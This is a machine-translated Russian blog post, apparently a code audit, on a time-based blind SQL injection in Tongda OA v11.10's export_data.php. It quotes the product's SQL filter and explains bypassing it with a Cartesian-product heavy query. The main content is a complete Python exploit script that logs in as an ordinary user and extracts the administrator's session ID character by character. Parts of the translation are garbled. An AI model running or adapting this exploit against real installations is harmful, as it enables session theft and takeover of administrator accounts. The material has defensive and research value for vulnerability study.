Tongda OA v11.10 снова появляется уязвимость SQL-инъекции
Tongda OA v11.10 снова появляется уязвимость SQL-инъекции

Эта статья последний раз обновлялась 396 дней назад. Информация в этой статье могла измениться или измениться.

Аудит кода Auda OA (qq.com)

Затронутая версия: серверная часть Tongda OA v11.10.

1. отложенное внедрение Export_data.php

1. Аудит кода

Расположение уязвимости:/general/system/approve_center/flow_data/export_data.php

В /export_data.php POST получает параметр d_name, и параметры напрямую соединяются в следующем коде.

2. Процесс тестирования

Найдите таблицу, начинающуюся с data_, в базе данных Tongda OA для тестирования. Только таблица data_src соответствует требованиям.

Для нормального доступа к маршрутам /general необходимо войти в систему. Следующие тесты будут проводиться с использованием обычных пользователей.

Включить журнал MySQL

Выполненные операторы можно увидеть в журнале базы данных.

Эхо не должно быть, попробуйте использовать инъекцию времени

В Tongda OA v11.10 есть глобальный фильтр, его содержимое следующее:

Язык кода:javascript
копировать
function sql_injection($db_string)
{
    $clean = "";
    $error = "";
    $old_pos = 0;
    $pos = -1;
    $db_string = str_replace(array("''", "\'"), "", $db_string);
    $db_string = preg_replace("/`[^,=\(\)]*'[^,=\(\)]*`/", "", $db_string);

    while (true) {
        $pos = strpos($db_string, "'", $pos + 1);

        if ($pos === false) {
            break;
        }

        $clean .= substr($db_string, $old_pos, $pos - $old_pos);

        while (true) {
            $pos1 = strpos($db_string, "'", $pos + 1);
            $pos2 = strpos($db_string, "\\", $pos + 1);

            if ($pos1 === false) {
                break;
            }
            else {
                if (($pos2 == false) || ($pos1 < $pos2)) {
                    $pos = $pos1;
                    break;
                }
            }

            $pos = $pos2 + 1;
        }

        $clean .= "\$s\$";
        $old_pos = $pos + 1;
    }

    $clean .= substr($db_string, $old_pos);
    $clean = trim(strtolower(preg_replace(array("/\s+/s"), array(" "), $clean)));
    $fail = false;
    $matches = array();
    if ((2 < strpos($clean, "/*")) || (strpos($clean, "--") !== false) || (strpos($clean, "#") !== false)) {
        $fail = true;
        $error = _("Код комментария");
    }
    else if (preg_match("/(^|[^a-z])union(\s+[a-z]*)*\s+select($|[^[a-z])/s", $clean) != 0) {
        $fail = true;
        $error = _("Объединительный запрос");
    }
    else if (preg_match("/(^|[^a-z])(sleep|benchmark|load_file|mid|ord|ascii|extractvalue|updatexml|exp|current_user)\s*\(/s", $clean, $matches) != 0) {
        $fail = true;
        $error = $matches[2];
    }
    else if (preg_match("/(^|[^a-z])into\s+outfile($|[^[a-z])/s", $clean) != 0) {
        $fail = true;
        $error = _("Сгенерировать файл");
    }
    else if (preg_match("/.*update.+user.+set.+file_priv.*/s", $clean) != 0) {
        $fail = true;
        $error = "set file_priv";
    }
    else if (preg_match("/.*set.+general_log.*/s", $clean) != 0) {
        $fail = true;
        $error = "general_log";
    }

    if ($fail) {
        echo _("Небезопасный оператор SQL:") . $error . "<br />";
        echo td_htmlspecialchars($db_string);
        exit();
    }
}

Но когда у нас нет возможности использовать sleep(50000)—->спать и benchmark(10000000,md5(‘a’))—->тестскорость выполнения функции 的时候我们还能用Декартово произведение Heavy Queryдля достижения нашей цели。

Что приводит к OA, так это то, что имя базы данных — td_oa, а десятичное значение ASCII «t» — 116. При выполнении команды время выполнения, очевидно, может быть увеличено.

Отложенное внедрение завершится неудачно, если значение 116 изменится на 115.

3、payload

Написать скрипт для слепого получения сеанса администратора

Язык кода:javascript
копировать
import re
from turtle import st
import requests
import datetime
import time
import threading
import string

# d_name=src where d_id=1 and (substr(DATABASE(),1,1))=char(115) and (select count(*) from information_schema.columns A,information_schema.columns B)

session = requests.session()
url = "http://172.16.10.8:8000"
head = {
    "Content-Type": "application/x-www-form-urlencoded",
    "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/95.0.4638.69 Safari/537.36",
    "Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9"
}

def getLoginSession():
    data = "UNAME=lijia&PASSWORD=5368677fec9d199757f33005c605f9f5e0dfec7bb3ff28f7831e49ff1b9581036ec0e0e144b854660111a7b8a8fb413d2d16ebe5477759017da1bb87d75e9721a0cd03a2ae9496b85a09a1e4866feca4982fce6b9250595c7db0ebf55e9b40b5a504702de16b6e4a4846fff5f8fef4c7562a418e74d8f7fda62c2a0f83ea9269&encode_type=1"
    urls = url + "/logincheck.php"
    res = session.post(urls,data=data,headers=head)
    if «Вход в систему открытого доступа, пожалуйста, подождите…» in res.text:
        print("Вход успешен")
    else:
        print(res.text)

def blindNoteTest():
    urls = url + "/general/system/approve_center/flow_data/export_data.php"
    data= "d_name=src where d_id=1 and (substr(DATABASE(),1,1))=char(116) and (select count(*) from information_schema.columns A,information_schema.columns B)"
    res = session.post(urls,data=data,headers=head)
    time = res.elapsed.microseconds
    print(time)
    if time > 150000:
        print("Отсроченная инъекциятестуспех") 

def blindNote():
    inject_session = ""
    chars =  string.digits + string.ascii_letters
    urls = url + "/general/system/approve_center/flow_data/export_data.php"
    lenght = 1
    print("Начать отложенную инъекцию")
    for i in range(1,27):
        for s in chars:
            payload = "d_name=src where d_id=1 and (substr((select SID from user_online where UID=1)," + str(lenght) +",1))=char(" + str(ord(s)) + ") and (select count(*) from information_schema.columns A,information_schema.columns B)"
            result = session.post(url=urls,data=payload,headers=head)
            time = result.elapsed.microseconds
            if time > 150000:
                lenght += 1
                inject_session = inject_session + str(s)
                print(inject_session)
                break

if __name__ == '__main__':
    getLoginSession()
    blindNoteTest()
    blindNote()

Просмотров: 750

boy illustration
Углубленный анализ переполнения памяти CUDA: OutOfMemoryError: CUDA не хватает памяти. Попыталась выделить 3,21 Ги Б (GPU 0; всего 8,00 Ги Б).
boy illustration
[Решено] ошибка установки conda. Среда решения: не удалось выполнить первоначальное зависание. Повторная попытка с помощью файла (графическое руководство).
boy illustration
Прочитайте нейросетевую модель Трансформера в одной статье
boy illustration
.ART Теплые зимние предложения уже открыты
boy illustration
Сравнительная таблица описания кодов ошибок Amap
boy illustration
Уведомление о последних правилах Points Mall в декабре 2022 года.
boy illustration
Даже новички могут быстро приступить к работе с легким сервером приложений.
boy illustration
Взгляд на RSAC 2024|Защита конфиденциальности в эпоху больших моделей
boy illustration
Вы используете ИИ каждый день и до сих пор не знаете, как ИИ дает обратную связь? Одна статья для понимания реализации в коде Python общих функций потерь генеративных моделей + анализ принципов расчета.
boy illustration
Используйте (внутренний) почтовый ящик для образовательных учреждений, чтобы использовать Microsoft Family Bucket (1T дискового пространства на одном диске и версию Office 365 для образовательных учреждений)
boy illustration
Руководство по началу работы с оперативным проектом (7) Практическое сочетание оперативного письма — оперативного письма на основе интеллектуальной системы вопросов и ответов службы поддержки клиентов
boy illustration
[docker] Версия сервера «Чтение 3» — создайте свою собственную программу чтения веб-текста
boy illustration
Обзор Cloud-init и этапы создания в рамках PVE
boy illustration
Корпоративные пользователи используют пакет регистрационных ресурсов для регистрации ICP для веб-сайта и активации оплаты WeChat H5 (с кодом платежного узла версии API V3)
boy illustration
Подробное объяснение таких показателей производительности с высоким уровнем параллелизма, как QPS, TPS, RT и пропускная способность.
boy illustration
Удачи в конкурсе Python Essay Challenge, станьте первым, кто испытает новую функцию сообщества [Запускать блоки кода онлайн] и выиграйте множество изысканных подарков!
boy illustration
[Техническая посадка травы] Кровавая рвота и отделка позволяют вам необычным образом ощипывать гусиные перья! Не распространяйте информацию! ! !
boy illustration
[Официальное ограниченное по времени мероприятие] Сейчас ноябрь, напишите и получите приз
boy illustration
Прочтите это в одной статье: Учебник для няни по созданию сервера Huanshou Parlu на базе CVM-сервера.
boy illustration
Cloud Native | Что такое CRD (настраиваемые определения ресурсов) в K8s?
boy illustration
Как использовать Cloudflare CDN для настройки узла (CF самостоятельно выбирает IP) Гонконг, Китай/Азия узел/сводка и рекомендации внутреннего высокоскоростного IP-сегмента
boy illustration
Дополнительные правила вознаграждения амбассадоров акции в марте 2023 г.
boy illustration
Можно ли открыть частный сервер Phantom Beast Palu одним щелчком мыши? Супер простой урок для начинающих! (Прилагается метод обновления сервера)
boy illustration
[Играйте с Phantom Beast Palu] Обновите игровой сервер Phantom Beast Pallu одним щелчком мыши
boy illustration
Maotouhu делится: последний доступный внутри страны адрес склада исходного образа Docker 2024 года (обновлено 1 декабря)
boy illustration
Кодирование Base64 в MultipartFile
boy illustration
5 точек расширения SpringBoot, супер практично!
boy illustration
Глубокое понимание сопоставления индексов Elasticsearch.
boy illustration
15 рекомендуемых платформ разработки с нулевым кодом корпоративного уровня. Всегда найдется та, которая вам понравится.
boy illustration
Аннотация EasyExcel позволяет экспортировать с сохранением двух десятичных знаков.